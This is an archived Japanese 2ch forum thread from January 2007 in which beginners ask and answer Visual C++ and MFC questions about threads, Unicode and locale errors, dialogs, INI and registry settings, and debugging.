★初心者にVisual C++を教えるスレ★ Part25
レス数が1000を超えています。これ以上書き込みはできません。
0001デフォルトの名無しさん
2007/01/10(水) 00:00:39Visual C++入門者・初心者からの質問を、
お兄ちゃん達が優しく、時には厳しく回答してくれるスレッドです。
■質問するにあたって
・エラーや警告のときはエラーメッセージを書きましょう。
・開発環境も書きましょう。
・できるだけ具体的に。
質問の仕方については次のページが大変参考になります。
http://www.hyuki.com/writing/techask.html
http://myu.daa.jp/osiete/
■回答するにあたって
・回答する場合はその答えに至るための「コツ」も書いてあげると良いでしょう。
(MSDNのどの項目だとか、何のキーワードでGoogleするとか)
・ネタや煽りは軽く流しましょう。
過去スレ、関連スレなどは>>2-5。
0002デフォルトの名無しさん
2007/01/10(水) 00:01:18Part23 ttp://pc8.2ch.net/test/read.cgi/tech/1140711893/
Part22 ttp://pc8.2ch.net/test/read.cgi/tech/1131443284/
Part21 ttp://pc8.2ch.net/test/read.cgi/tech/1124806288/
Part20 ttp://pc8.2ch.net/test/read.cgi/tech/1120222322/
Part19 ttp://pc8.2ch.net/test/read.cgi/tech/1116209988/
Part18 ttp://pc8.2ch.net/test/read.cgi/tech/1113539594/
Part17 ttp://pc8.2ch.net/test/read.cgi/tech/1107926989/
Part16 ttp://pc8.2ch.net/test/read.cgi/tech/1101022051/
Part15 ttp://pc5.2ch.net/test/read.cgi/tech/1097880265/
Part14 ttp://pc5.2ch.net/test/read.cgi/tech/1093672937/
Part13 ttp://pc5.2ch.net/test/read.cgi/tech/1089011118/
Part12 ttp://pc5.2ch.net/test/read.cgi/tech/1083585833/
Part11 ttp://pc5.2ch.net/test/read.cgi/tech/1077965179/
Part10 ttp://pc5.2ch.net/test/read.cgi/tech/1074933908/ ※
Part09 ttp://pc5.2ch.net/test/read.cgi/tech/1068983609/ ※
Part08 ttp://pc5.2ch.net/tech/kako/1063/10630/1063029371.html
Part07 ttp://pc5.2ch.net/tech/kako/1056/10562/1056280510.html
Part06 ttp://pc5.2ch.net/tech/kako/1052/10529/1052931903.html
Part05 ttp://pc5.2ch.net/tech/kako/1048/10486/1048698321.html
Part04 ttp://pc5.2ch.net/tech/kako/1044/10441/1044196393.html
Part03 ttp://pc5.2ch.net/tech/kako/1038/10381/1038160750.html
Part02 ttp://pc3.2ch.net/tech/kako/1030/10309/1030985362.html
Part01 ttp://pc3.2ch.net/tech/kako/1023/10235/1023530449.html
0003デフォルトの名無しさん
2007/01/10(水) 00:04:52■MFC相談室 mfc17d.dll■
http://pc10.2ch.net/test/read.cgi/tech/1164073111/l50
Win32API質問箱 Build48
http://pc10.2ch.net/test/read.cgi/tech/1166172047/l50
鬱だ氏のう DirectX (Part 16)
http://pc8.2ch.net/test/read.cgi/tech/1133007002/l50
【ISO/ANSI/JIS】 C言語なら俺に聞け! Part 130
http://pc10.2ch.net/test/read.cgi/tech/1159613789/l50
C++相談室 part55
http://pc10.2ch.net/test/read.cgi/tech/1164951094/l50
C/C++の宿題を片付けます 80代目
http://pc10.2ch.net/test/read.cgi/tech/1166969820/l50
【初心者歓迎】C/C++室 Ver.33【環境依存OK】
http://pc10.2ch.net/test/read.cgi/tech/1164376287/l50
【関連サイト】
猫でもわかるプログラミング
http://www.kumei.ne.jp/c_lang/
MSDN ライブラリ ※変更された
http://msdn.microsoft.com/library/ja/
http://msdn2.microsoft.com/ja-jp/library/ (2005のことはこっち)
Platform SDK Update ※変更された
http://www.microsoft.com/downloads/details.aspx?FamilyId=A55B6B43-E24F-4EA3-A93E-40C0EC4F68E5&displaylang=en
http://www.google.co.jp/
0004デフォルトの名無しさん
2007/01/10(水) 00:05:23part 1 ttp://piza.2ch.net/tech/kako/970/970607517.html
part 2 ttp://piza.2ch.net/tech/kako/981/981630730.html
part 3 ttp://piza2.2ch.net/tech/kako/993/993186053.html
part 4 ttp://pc.2ch.net/tech/kako/1002/10021/1002165477.html
part 5 ttp://pc.2ch.net/tech/kako/1006/10068/1006834463.html
part 6 ttp://pc.2ch.net/tech/kako/1011/10116/1011615035.html
part 7 ttp://pc.2ch.net/tech/kako/1017/10178/1017843192.html
part 8 ttp://pc.2ch.net/tech/kako/1022/10224/1022499000.html
part 9 ttp://pc5.2ch.net/tech/kako/1036/10368/1036897197.html
0005デフォルトの名無しさん
2007/01/10(水) 00:40:000006デフォルトの名無しさん
2007/01/10(水) 07:53:593つ以上、思い当たる点があればアナタの性格はひん曲がっており、ネガティブ負け組人生を歩んでいます。
□派遣先の社員の意見にはたとえ間違っていても反対しない
□派遣先から「いつまでもここで仕事してくださいね」と言われるようになりたい
□自社に仕事を持ち帰れるように言われるとムカつく
□自社で仕事なんてできるわけがない
□派遣/受託の差異を指摘する人間はムカつく
□派遣先には仕事だけでなく自分のプライベートについても指示して欲しい
□自分の月額金額を知らない
□派遣先社員より自分の生涯収入が低いのは当然だ
□派遣先に尻尾を振り、いつまでも一緒に仕事をすることが大切だ
□今のプロジェクトが終わっても同じ派遣先に常駐したい
0007デフォルトの名無しさん
2007/01/10(水) 15:13:31メインから子スレッドにメッセージを飛ばしたいのですがうまくいきません
PostThreadMessageを使い第一引数にはスレッドのm_nThreadIDを渡しています
子スレッド側のソースにはON_THREAD_MESSAGEを使って配置しています
しかしメッセージがきている様子はありませんPostThreadMessageじゃないのでしょうか?
コンパイラはエラーをだしていませんでした
0008デフォルトの名無しさん
2007/01/10(水) 15:25:58メッセージループの中?
00097
2007/01/10(水) 15:28:06ブレークポイントをつけていたのですが反応がありませんでした
0010デフォルトの名無しさん
2007/01/10(水) 16:09:570011デフォルトの名無しさん
2007/01/10(水) 16:10:0600127
2007/01/10(水) 16:22:33PostThreadMessageのあとに通過していませんでした
00137
2007/01/10(水) 16:52:51子スレッドのヘッダファイルに追加したのはこれですが間違ってますか?
0014デフォルトの名無しさん
2007/01/10(水) 16:58:1600157
2007/01/10(水) 17:03:49post先は子スレッドのメンバ変数のm_nThreadIDで指定するんじゃないんですか?
0016デフォルトの名無しさん
2007/01/10(水) 17:12:03PreTranslateMessageは自分で処理した時(普通に処理されたくない時)にTRUEを返すんじゃないの?
必ずreturn 1じゃ全てのメッセージを握り潰しちゃうんじゃないかな。
00177
2007/01/10(水) 17:17:500018デフォルトの名無しさん
2007/01/10(水) 17:22:4700197
2007/01/10(水) 17:29:490020デフォルトの名無しさん
2007/01/10(水) 17:32:02Sleep入れながらしつこく何回か送ってみても反応なし?
0021デフォルトの名無しさん
2007/01/10(水) 17:32:1200227
2007/01/10(水) 17:40:25BEGIN_MESSAGE_MAP(CWinThreadの派生クラス名, CWinThread)
ON_THREAD_MESSAGE(ユーザー定義のメッセージ,割り当てる関数名)
END_MESSAGE_MAP()
スリープをいれながらやってみましたが無反応でした
メッセージキューやメッセージループはマップに追加だけでは駄目なのでしょうか?
00237
2007/01/10(水) 18:07:32afx_msg void TestMssage(UINT afg, LONG aty);
子スレッド(TestThread)のソースファイル
BEGIN_MESSAGE_MAP(TestThread, CWinThread)
ON_THREAD_MESSAGE(WM_TEST,TestMssage)
END_MESSAGE_MAP()
.
.
.
void TestThread::TestMssage(UINT afg, LONG aty){}
メインソースファイル
TestThread Testes;
.
.
.
PostThreadMessage(Testes.m_nThreadID,WM_TEST,1,1);
指摘お願いします
0024デフォルトの名無しさん
2007/01/10(水) 18:10:0400257
2007/01/10(水) 18:12:42子スレッドはInitInstance()内で処理をし続けているので
メッセージループがRunにあるとすれば回っていないと思います
00267
2007/01/10(水) 18:23:300027デフォルトの名無しさん
2007/01/10(水) 18:34:5800287
2007/01/10(水) 18:43:49スレッドのリスタートやら破棄やらいろいろしたいのです
つまり処理中に割り込んでまた初めからすぐにスタートのような感じです
フラグ変数を立てるやり方だとどこでそれがくるかわからないし反映も遅いし
ソースがフラグだらけになってしまうと思います
0029デフォルトの名無しさん
2007/01/10(水) 18:46:27InitInstance()で処理し続けちゃダメ。
初期化だけしてすぐ終われ。
00307
2007/01/10(水) 18:51:13そうするとRunをオーバーライドしてそこに処理を書くということでしょうか?
うーんでもRunの中はメッセージを待つのでまずいような
でもそうなると処理中は割り込めないような・・・
どうすればいいのでしょうか?
0031デフォルトの名無しさん
2007/01/10(水) 18:59:25時代の流れに乗り遅れないためにと、始めたのですが、
VisualC++はどういうアプリケーションで使われているのでしょうか?
0032デフォルトの名無しさん
2007/01/10(水) 20:00:330033デフォルトの名無しさん
2007/01/10(水) 20:00:37UIを扱うスレッドで長い時間がかかる処理をする、ということ自体がダメ。
だから「UIだけを扱うスレッドを走らせよう」って発想が出て「UIスレッド」って呼ばれるのよ。
処理に割り込みなんて、自分で書かないとできない。
(TerminateProcessやTerminateThreadはDLL絡みとかで問題がある)
長い時間がかかる処理を中断させたいなら、その処理内で中断フラグをちょくちょく見るしかない。
0034デフォルトの名無しさん
2007/01/11(木) 01:33:23外人さんの作った、VC6のプログラムを、VC8に移植しているのですが日本語表示が上手く出来ません、
>>996の手ほどきで
1.プロジェクトのプロパティでリソースのカルチャを日本語にする
2.リソースビューでIDD_ABOUTBOXをシングルクリックしプロパティのLanguageを日本語
3.リソースビューでIDD_ABOUTBOXをダブルクリックしFontを日本語Fontに変更
間でしたのですが
4.ダイアログに適当に日本語を設定しビルドと、
>>あとPG内で_tsetlocaleはしておいたほうが無難。
とアドバイスしてくれてたのですが
_tsetlocaleで検索すると
_tsetlocale(LC_ALL,_T(""));に設定しなさいとか出てきたのですが、これってMFCの場合ですよね?
0035デフォルトの名無しさん
2007/01/11(木) 01:41:56コンパイラの設定を上記の変更をしたおかげで、リストビューのタイトルメニュー等は
日本語表示が出来るようになったのですが
日本語データを読込んで表示する部分で変換が出来ていません(文字化けします)
なるべく手間を掛けずに日本語表示できる方法があれば教えてください。
0036デフォルトの名無しさん
2007/01/11(木) 01:47:21いいえ、_tsetlocaleはMFCのものではありません。Cランタイムの関数です。
0037デフォルトの名無しさん
2007/01/11(木) 01:54:27そうですか、_tsetlocaleを使う場合何か特別なヘッダーファイルを
インストールしないとだめなのでしょうか?
_tsetlocale(LC_ALL,_T(""));こう記述すると
error C2065: 'LC_ALL' : 定義されていない識別子です。
error C3861: '_T': 識別子が見つかりませんでした
error C4430: 型指定子がありません - int と仮定しました。メモ: C++ は int を既定値としてサポートしていません
となるのですが?
0038デフォルトの名無しさん
2007/01/11(木) 02:07:14#include <locale.h>です。MSDNぐらいは見ましょう。
>日本語データを読込んで表示する部分で変換が出来ていません
読み込んだデータじゃなく固定で "てきとう" を表示しようとしたら表示できます?
0039デフォルトの名無しさん
2007/01/11(木) 02:07:14msdn 読んでくれ。
0040デフォルトの名無しさん
2007/01/11(木) 02:14:12現在64個のエラーが出ているのですが、エラーのリストを秀丸に貼り付けて正規表現の置換を使って分析したら。
: error C2664: 'lstrcpyW' : 1 番目の引数を 'char [100]' から 'LPWSTR' に変換できません。
: 1 番目の引数を 'char [100]' から 'LPCWSTR' に変換できません。
: error C2440: '=' : 'const char [1]' から 'LPWSTR' に変換できません。
の2種類だけですが解決の糸がかりになりませんでしょうか?
0041デフォルトの名無しさん
2007/01/11(木) 02:16:0635で言ってる >補足します、現在の文字コードはマルチバイトに設定しています
があやしい。'lstrcpyW'はUNICODE用。
0042デフォルトの名無しさん
2007/01/11(木) 02:24:2235の時点ではマルチバイトでしたが日本語変換できないので
_tsetlocale(LC_ALL,_T(""));を使うにために現在はUNICODEに設定しています
0043デフォルトの名無しさん
2007/01/11(木) 04:22:03悪いけど、お前さんに今の作業を完了させる事は難しい気がする。
LPCWSTR とか _T() とか、調べるべきキーワード沢山あるじゃん。
0044デフォルトの名無しさん
2007/01/11(木) 07:31:0100457
2007/01/11(木) 10:06:05マルチスレッドで長く複雑な処理は難しいということですか
フラグをちょくちょく見るにはソースのなかにちょくちょく
チェックするためのif文等をいれていくしかないのでしょうか?
そうするぐらいならタイマ割り込みのようなもので
スレッド側で定期的に監視させたいのですが
UIスレッドの処理中に子スレッド側で
タイマ割り込みのようなことはできるのでしょうか?
0046デフォルトの名無しさん
2007/01/11(木) 10:19:16ワーカースレッドにしとけ
00477
2007/01/11(木) 10:26:21JAVAなら割り込みメソッドがちゃんと用意されてるみたいです
http://www.javaworld.jp/technology_and_programming/-/10795-5.html
0048デフォルトの名無しさん
2007/01/11(木) 10:34:040049デフォルトの名無しさん
2007/01/11(木) 10:37:2800507
2007/01/11(木) 10:38:56メンバ関数をInitInstance内の中で呼び出すしかないと思ってやってるんですが
初心者なので他になにか良い方法があれば教えてください
00517
2007/01/11(木) 10:43:23参考ページがあれば教えてもらえたらうれしいです
0052デフォルトの名無しさん
2007/01/11(木) 10:49:13割り込みは必要ってことでいいのかな
00537
2007/01/11(木) 10:53:17子スレッドの状態を見るのはメイン側にメッセージを飛ばして解決しています
0054デフォルトの名無しさん
2007/01/11(木) 11:16:0200557
2007/01/11(木) 11:19:1700567
2007/01/11(木) 11:23:34InitInstanceかRunいがいに処理を置ける場所がないように見えます
処理はし続けているので単純と言われれば単純ですね
メッセージを待って処理をするタイプではないです
0057デフォルトの名無しさん
2007/01/11(木) 11:38:24イベントの発生をチェックしては。
Sleepが絡むときはSleepのスレッド作ってそこからイベント、かなあ
最近のMFC知らんけどもっといい方法あるのかな
0058デフォルトの名無しさん
2007/01/11(木) 11:51:18これでスレッドとクラスが一対一になって扱いやすくなる、といいな。
MFC使ってるみたいだから、
メンバにCWinThreadのポインタと中断用のCEventを用意して、
StartでAfxBeginThreadでタスクメンバ関数を起動、
ただし、CREATE_SUSPENDEDで起動 - CWinThread.m_bAutoDelete=FALSE
- CWinThread.ResumeThread() の手順を踏んでおく。
タスクメンバ関数は中断用CEventを適時監視しつつ処理を実行する。
AbortではCEvent.SetEvent()。
JoinはWaitForSingleObjectをINFINITEで、
IsAliveはWaitForSingleObjectをウェイト0で呼び出す。
ちなみに、CWinThreadポインタの破棄は、
もう一度スレッドを起動しなおす時か、デストラクタの時だけにした方が色々楽。
中断するときは、Abort->Join呼び出しでスレッド停止待ち。
自然に完了を待つには、SetTimerのハンドラでIsAlive見て確認、ってのが一番楽。
0059デフォルトの名無しさん
2007/01/11(木) 12:20:44教えるだけ無駄だろ
> 25 名前:7[] 投稿日:2007/01/10(水) 18:12:42
> スレッドメッセージループはRunの中なのですか?
> 子スレッドはInitInstance()内で処理をし続けているので
> メッセージループがRunにあるとすれば回っていないと思います
>
> 26 名前:7[] 投稿日:2007/01/10(水) 18:23:30
> InitInstanceの処理中に他の処理を割り込ませることは無理なのですか?
00607
2007/01/11(木) 12:22:41どうやればできるのかわかりません
クラスの追加ウィザードからできるのでしょうか?
環境はVC++7.0です
00617
2007/01/11(木) 12:24:50すいません初心者なもので
あとそれは引用だけでまったく答えになっていませんよね
0062デフォルトの名無しさん
2007/01/11(木) 12:30:1300637
2007/01/11(木) 12:32:43そうですか初心者を教えるスレで初心者相手に
馬鹿にして猿山大将気取りのなにが楽しいのか
わかりませんが気にしないことにします
00647
2007/01/11(木) 12:33:330065デフォルトの名無しさん
2007/01/11(木) 12:40:1200667
2007/01/11(木) 12:52:20>>25>>26の時点では
InitInstanceの処理中に割り込みをするにはメッセージを使うのかもしれないと
思っていたのでRun関数は通っていないのでメッセージ待ちは他の場所がるのかと
勘違いしていました
この時点での初心者と馬鹿の違いを教えてもらいたいところですが
それはまたスレ違いだと思いますので
馬鹿ですいませんがVC++を教えてもらえないでしょうか?^^;
0067デフォルトの名無しさん
2007/01/11(木) 12:56:560068デフォルトの名無しさん
2007/01/11(木) 12:57:11ワーカースレッドでは実現困難で、UIスレッドを使うべきケースが思い浮かびません。
いくつかサンプルを拾って見てみたのですが、サンプルを書くために必然性なしにUIスレッドに
しているとしか思えないようなモノばかりでした。
CWinApp以外ではどういう時に使ってます?
0069デフォルトの名無しさん
2007/01/11(木) 12:57:52C++が出来てCが出来ない人って居るんでしょうか?
0070デフォルトの名無しさん
2007/01/11(木) 13:02:2900717
2007/01/11(木) 13:02:53子スレッドの処理中にメイン側の合図で他の処理をすることが目的なので
割り込みと表現したのですが^^;
0072デフォルトの名無しさん
2007/01/11(木) 13:04:48STLとboostが使えないと何も出来ない、という人はいるかも。
0073デフォルトの名無しさん
2007/01/11(木) 13:08:34Windowsではそういうことはできない。
メッセージでも、明示的/暗黙的にメッセージを処理できる状態にしてやらないと処理できない。
0074デフォルトの名無しさん
2007/01/11(木) 13:13:3800757
2007/01/11(木) 13:19:41できないとなるとフラグメンバ変数かシグナル状態を変えて
ソース内で定期的にif文を記述しでチェックするしかないのでしょうか
そうなると>>58さんの方法がまだ理解できてないんですが
同じような方法ということでしょうか?
0076デフォルトの名無しさん
2007/01/11(木) 13:22:220077デフォルトの名無しさん
2007/01/11(木) 13:24:580078デフォルトの名無しさん
2007/01/11(木) 13:37:41フラグ変数がCEventオブジェクトになっただけ
0079デフォルトの名無しさん
2007/01/11(木) 13:45:15普通、重たい処理はループしてるから遅いわけで、ループ一回りに掛かる時間は
ごくわずか。そのループ中に1行eventの状態チェック入れるだけ。
ループしてないのに重いとか、ループ一回りが遅いというなら75の言うとおりになるかも。
008077
2007/01/11(木) 16:10:410081デフォルトの名無しさん
2007/01/11(木) 16:34:28http://support.microsoft.com/kb/403848/ja
こちらのページを見て、そのとおりに記述しているのですが、コンストラクタ内の
Create文を通ってもダイアログが表示されません。OSはWinXPです。
問題がわかる方、またはその他の良い方法を知っている方がいましたらよろしくお願いします。
0082デフォルトの名無しさん
2007/01/11(木) 16:37:50ダイアログのID はIDDですか?
008382
2007/01/11(木) 16:49:15ごめん、ちょっとやってみた。
ダイアログのプロパティでVisible をtrueにするか
new したあとで ShowWindow(SW_NORMAL) 呼んでみな
0084デフォルトの名無しさん
2007/01/11(木) 18:47:13後これといった質問はないのですが、
此処での初心者ってのはどこまでが初心者なんですか?
0085デフォルトの名無しさん
2007/01/11(木) 19:24:55特に問題なくダイアログ表示できた
008681
2007/01/11(木) 19:29:46IDDでした
また、Visibleにしたところ、ちゃんと表示されるようになりました。
(今までのは作成だけされて見えていなかったということでしょうか?
タスクを見ているとメモリ使用量だけはCreateした分だけ増えていたので・・・)
ありがとうございました!
0087デフォルトの名無しさん
2007/01/11(木) 21:30:29モードレスダイアログは作りっぱなしでSHOW、HIDEするケースが多いから
ShowWindow()も試しておいたほうがいいと思うよ。
0088デフォルトの名無しさん
2007/01/11(木) 22:06:09resource.hのファイル名を変更してTestResource.hとしました。
以降このファイルにリソースのdefine値を連動させておくため、
リソースファイルのincludeをresource.hからTestResource.hに変更した
まではよかったのですが、リソース変更後に保存するとなぜかinclude
先がresource.hに戻ってしまいます。これはどうしてなんでしょうか?
解決法を知っている方いましたらお教えください。お願いします。
0089デフォルトの名無しさん
2007/01/11(木) 22:10:170090デフォルトの名無しさん
2007/01/11(木) 22:13:38リソースビューで、xx.rcを右クリックしてインクルードファイルの設定替えればいい
つーか、ヘルプに書いてあると思うが
0091デフォルトの名無しさん
2007/01/11(木) 22:25:06Express Edition には MFC はついてこないので
パッケージ版を購入してくるべし。
0092デフォルトの名無しさん
2007/01/11(木) 22:34:15できました、ありがとうございます。
0093デフォルトの名無しさん
2007/01/11(木) 22:36:49アカデミはなんか無理そうだし・・・
0094デフォルトの名無しさん
2007/01/11(木) 22:55:38typedef void (*throwFuncType)();
void dothrow_func(){ throw 300;}
DWORD CALLBACK threadproc( void * ){
printf("BeginThread\n");
int i=0;
try{
while(1) { i++; }
}catch( int ){
printf("\n%d: catched exception.\n",i);
}
return 0;
}
int main(){
throwFuncType dothrow_ptr = dothrow_func;
DWORD id; HANDLE hThread = CreateThread(NULL,0,threadproc,NULL,0,&id);
char t[255]; fgets(t,200,stdin);
CONTEXT context; context.ContextFlags = CONTEXT_CONTROL;
SuspendThread( hThread); GetThreadContext(hThread, &context);
context.Eip = (DWORD)dothrow_ptr;
SetThreadContext(hThread, &context); ResumeThread( hThread);
WaitForSingleObject(hThread,INFINITE);
}
0095デフォルトの名無しさん
2007/01/11(木) 23:10:33アカデミックはスタンダード相当でMFCもきちんとあるはずだぞ。
0096デフォルトの名無しさん
2007/01/11(木) 23:28:20こんな手があったのか。面白いけどちょっと怖いな。
0097デフォルトの名無しさん
2007/01/11(木) 23:34:16学生じゃ無くて無理そうなのでは
0098デフォルトの名無しさん
2007/01/12(金) 13:33:06ODBCを使ってみたんですがテーブルごとにクラスが作られてしまいますが
いろいろなテーブルを取得したい場合はどうすればいいのでしょうか?
0099デフォルトの名無しさん
2007/01/12(金) 15:25:55自分で直接CDatabaseやらCRecordsetやらをいじくればいいが、
今時ならせめてADOかOLEDBを使うのを薦める。
0100デフォルトの名無しさん
2007/01/12(金) 16:16:14保存と取り出しができているので成功しているはずなんですが
INIファイルで保存と取り出しはできたのですが保存先がわかりません
プロジェクト名.INIで保存されてるはずのファイルがみつかりません
ファイルの検索でもひっかかりません
Windows2000だとどこか特別な場所に保存されるのでしょうか?
m_pszProfileNameもデバッグ時に確かめましたがプロジェクト名でした
ソース
m_iData1 = 20;
m_sString1 = "mojiretsu";
……
// INIファイルに情報を保存する
CWinApp* pApp = AfxGetApp();
pApp->WriteProfileInt("ProgramData", "IntData1", m_iData1);
pApp->WriteProfileString("ProgramData", "String1", m_sString1);
// INIファイルから情報を取り込む
CWinApp* pApp = AfxGetApp();
m_iData = pApp->GetProfileInt("ProgramData", "IntData1", 0);
m_sString1 = pApp->GetProfileString("ProgramData", "String1", NULL);
0101デフォルトの名無しさん
2007/01/12(金) 16:23:00まあ2000ならwin.ini でもなくてレジストリにマッピングされてると思うけど。
0102デフォルトの名無しさん
2007/01/12(金) 16:23:020103デフォルトの名無しさん
2007/01/12(金) 16:25:26ここです
http://www.alpha-net.ne.jp/users2/uk413/vc/VCT_INI.html
0104100
2007/01/12(金) 16:34:41プロジェクト名.iniがありましたが
これ直接編集できるんですか?
0105デフォルトの名無しさん
2007/01/12(金) 16:35:22ちょっとMFCのバージョンわからんが、
InitInstance() に、SetRegistryKey(_T("アプリのキー")) というのが無いかな?
そこで指定した文字列をキーに、
\\HKEY_CURRENT_USER\Software\アプリのキー\ProgramData\IntData1 に データが入って無いか?
レジストリはスタートメニューからファイル名を指定して実行を選んで regedit と入れれば
レジストリエディタが起動する。
0106デフォルトの名無しさん
2007/01/12(金) 16:42:40NTの時から、INIファイルをレジストリにマッピングする機能があって
INIファイルに書いてもレジストリに書き込まれる仕組みがOSにあった。
その場合は
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\IniFileMapping
以下にできる
MFCはそれを使わずにレジストリに切り替える機能もある。
SetRegistryKey()がそれ
任意のファイルにしたければ、APIのWritePrivateProfile・・・ を使えばいいかな。
0107100
2007/01/12(金) 16:48:02.NETの年数無しバージョンです
ありがとうございますありました
これはレジストリエディタを使わないと編集できないということなのでしょうか?
0108100
2007/01/12(金) 16:55:21INIファイルを普通に編集したいならWritePrivateProfileで保存しなければ
いけないんですね
ということはそれも指定してINIファイルを読み込みにいかないといけないのか
0109デフォルトの名無しさん
2007/01/12(金) 16:58:28Private の付いたAPIを呼ぶしかないかなあ、、、
でもこれ16bitWinの互換性に残ってるだけだしな。
0110デフォルトの名無しさん
2007/01/12(金) 17:11:020111100
2007/01/12(金) 17:18:34ありがとうございました
0112デフォルトの名無しさん
2007/01/12(金) 17:34:12レジストリとiniの切り替えも簡単
0113デフォルトの名無しさん
2007/01/12(金) 17:49:500114100
2007/01/13(土) 14:32:27他のにも書き込んだり読み込んだりできました
でもパス名変えるとアプリケーション終了時にOSがエラーだしてきます
0115デフォルトの名無しさん
2007/01/13(土) 14:46:110116100
2007/01/13(土) 14:57:460117デフォルトの名無しさん
2007/01/13(土) 15:44:35mciコマンドで音を鳴らしていたのですが、音を鳴らす時に1秒くらい固まるのでマルチスレッドにしようとAfxBeginThreadにそこらへんの処理をぶち込みました。
するとmciSendCommandにて303エラーが発生。
おそらくスレッドから呼び出したから安全性がどうのこうのといった内容だと思うのですが
これを回避するにはどのようにすれば良いのでしょうか?
0118デフォルトの名無しさん
2007/01/13(土) 15:56:12303って、MCIERR_ILLEGAL_FOR_AUTO_OPEN?
メインスレッドで自動オープンしたデバイスを別スレッドから触ろうとした?
0119デフォルトの名無しさん
2007/01/13(土) 16:38:36メインスレッドで自動オープンしたうんぬんというのが何を指しているのかは分かりませんが
少なくともmciなんたらの命令は作成したマルチスレッド内でしか使っていません
どうやらwindowメッセージ(MM_MCINOTIFY)の受け取りを親スレッドでしているのが原因らしいです
AfxBeginThreadの中でメッセージ(MM_MCINOTIFY)の受信ってできるのでしょうか?
それとも別の方法でスレッドを作るのかな?CWinThreadとか使った事が無いけど可能ですか?
0120デフォルトの名無しさん
2007/01/13(土) 16:56:57mop.dwCallback = (DWORD)pDoc->GetSafeHwnd();
mop.lpstrDeviceType=DeviceType[pDoc->BGMNum];
mop.lpstrElementName=midiFile;
mciErr = mciSendCommand(NULL,MCI_OPEN, MCI_NOTIFY | MCI_OPEN_TYPE | MCI_OPEN_ELEMENT,(DWORD_PTR)&mop);
mpp.dwCallback = (DWORD)pDoc->GetSafeHwnd();
スレッドの中を抜粋するとこんな感じです
mci関数で曲を止める時は親ウィンドウでやっていますが、エラーメッセージが表示されるのが、ちょうどここのmciSendCommandの所なので
それ以前に親ウィンドウでmci関数の命令を呼び出していないという意味です
おそらくコールバックのハンドルはスレッドのハンドル?を渡せば良い気がしないでも無いですが
スレッド内でのメッセージ処理をCWinThread(もしくはAfxBeginThreadで呼び出したスレッド関数)で受け取る方法が分かれば解決といった感じになりそうです
以前に何か違う方法でスレッドを作っていた気がしないでもないですが、やり方を完全に喪失しておりますし
何よりもMFCを使って初プログラムしているので、なるべくどちらかで処理したいと思っております
これはMFC相談室の方に移動ですか?
0121デフォルトの名無しさん
2007/01/13(土) 17:30:560122デフォルトの名無しさん
2007/01/14(日) 13:06:010123デフォルトの名無しさん
2007/01/14(日) 14:56:590124デフォルトの名無しさん
2007/01/15(月) 10:36:090125デフォルトの名無しさん
2007/01/15(月) 11:12:560126デフォルトの名無しさん
2007/01/15(月) 11:15:490127デフォルトの名無しさん
2007/01/15(月) 12:16:28ttp://msdn2.microsoft.com/en-us/library/00ak0bwd(vs.80).aspx
0128デフォルトの名無しさん
2007/01/15(月) 14:58:29free((void*)m_pszAppName);
m_pszAppName=_tcsdup(_T("test"));
m_pszAppNameの中身は変わりましたが起動しても反映されてませんでした
0129デフォルトの名無しさん
2007/01/15(月) 15:26:19その人が表示する前に変えないとだめだな
見た目の問題ならウィンドウへ直接書いちゃった方が楽かもしれんな
0130デフォルトの名無しさん
2007/01/15(月) 15:40:310131124
2007/01/15(月) 15:47:010132デフォルトの名無しさん
2007/01/15(月) 15:47:54IDR_MAINFRAMEはDoc/View外しても有効だね。
結局、動的に替えるなら自分でSetWindowText()したほうがいいのか
0133デフォルトの名無しさん
2007/01/16(火) 14:24:45適当に買った本で勉強して、言葉は理解できるのですが内容までは判らないのが現状です。
よろしければ実際にサンプルコードを用いながら解説しているサイト等教えていただけないでしょうか?
特に、スッテプイン、ステップオーバー、スッテプアウトが鬼門です。
0134デフォルトの名無しさん
2007/01/16(火) 14:27:14よろしくお願いします。
0135デフォルトの名無しさん
2007/01/16(火) 14:31:23その、「スッテプイン、スッテプアウト」とやらは何物だ?
それはさておき、これくらい知っておけばなんとかなるだろ。
StepIn:関数に踏み込む
StepOver:関数に踏み込まずに次(の行)を踏む。
StepOut:関数から抜け出す
BreakPoint:停止する行を指定
0136デフォルトの名無しさん
2007/01/16(火) 15:12:27いろいろわかるとい思う
0137デフォルトの名無しさん
2007/01/16(火) 18:40:28はい、日本語としては判るのですが、なんというかこう感覚として身についていないというか
どうも雲をつかむような感じがして会得できていないのです。
>136
ありがとうございます。自分で適当にコードを書いていろいろと試してみます。
0138sage
2007/01/17(水) 00:15:37↓のファイルをC++としてコンパイルしたいのですが、クラス宣言のところでエラーになってしまいます。
/TPオプションは付けています。
こういう場合、他に設定するところがあるんでしょうか?
以上よろしくお願いします。
//ファイル名:main.c
#include <stdio.h>
class test{
public:
void func1(){
printf("func1\n");
}
};
void main(){
test obj1;
obj1.func1();
}
0139デフォルトの名無しさん
2007/01/17(水) 00:31:520140138
2007/01/17(水) 00:40:25私はMicrosoft Visual C++ 2005を使って、空のプロジェクトに
>>138のmain.cを追加して作りましたが通りませんでした。
変えたオプションとかありますか?
0141デフォルトの名無しさん
2007/01/17(水) 00:47:57たぶんプロジェクトのプロパティでは/TPになってて
ソースのプロパティでは/TCになってるんじゃないかな。
0142デフォルトの名無しさん
2007/01/17(水) 00:49:540144デフォルトの名無しさん
2007/01/17(水) 08:08:53C++のコードを書くなら拡張子をcにするなよ。
0145デフォルトの名無しさん
2007/01/17(水) 10:19:01↓こんな処理をやっているのですが、もっとスマートな方法はないでしょうか?
CListCtrl m_lstInfo;
CSize size;
size.cx = 0;
size.cy = 100000; //100000以上の高さだったらどうする?
BOOL bRet = m_lstInfo.Scroll(size);
開発環境:WinXp、VC++6.0
です。
0146デフォルトの名無しさん
2007/01/17(水) 10:58:02EnsureVisible使ったら?
0148デフォルトの名無しさん
2007/01/17(水) 14:20:32表示されるところまではなんとか行ったのですが
SetCheckまでも自分で実装しなければなりません。
初心者である自分には異常に難しいのですが
他にいい方法は無いでしょうか?
0149デフォルトの名無しさん
2007/01/17(水) 16:36:20もしユーザーのマウス/キーボード入力に反応しないってこと言ってるなら
それはSetCheckとは無関係。両イベントから内部状態変更&アイテム再描画
をかけるだけ。
0150質問1
2007/01/17(水) 19:26:42d:\abstract2bad\abstract2bad\abstract2bad.cpp(40) : error C2248: 'basepair::getkey' : protected メンバ (クラス 'basepair' で宣言されている) にアクセスできません。
d:\abstract2bad\abstract2bad\abstract2bad.cpp(20) : 'basepair::getkey' の宣言を確認してください。
